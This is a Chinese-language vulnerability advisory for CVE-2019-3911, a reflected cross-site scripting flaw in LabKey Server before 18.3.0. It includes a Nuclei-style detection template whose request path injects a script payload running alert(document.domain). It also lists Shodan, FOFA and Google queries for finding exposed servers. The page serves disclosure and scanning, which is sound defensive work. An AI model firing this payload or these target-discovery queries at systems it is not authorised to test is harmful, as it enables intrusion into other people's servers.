CVE-2019-3911: LabKey Server Community Edition <18.3.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: LabKey Server Community Edition | POC: 已公开

漏洞描述

LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.

PoC代码[已公开]

id: CVE-2019-3911

info:
  name: LabKey Server Community Edition <18.3.0 - Cross-Site Scripting
  author: princechaddha
  severity: medium
  description: LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-03
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3911
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3911
    cwe-id: CWE-79
    epss-score: 0.06647
    epss-percentile: 0.90853
    cpe: cpe:2.3:a:labkey:labkey_server:*:*:community:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: labkey
    product: labkey_server
    shodan-query:
      - 'Server: Labkey'
      - 'http.title:"sign in: /home"'
      - "server: labkey"
    fofa-query: 'title="sign in: /home"'
    google-query: 'intitle:"sign in: /home"'
  tags: cve,cve2019,xss,labkey,tenable

http:
  - method: GET
    path:
      - '{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e2a48c35be42c4fce1a14cee6763e20fcf6aa2131d7e1cadea60cf81ae89f12702205f9676501e69d810d5a64c3dac2c8cbb53a41f1619fced5ce980a8ce852a1b07:922c64590222798bb761d5b6d8e72950

相关漏洞推荐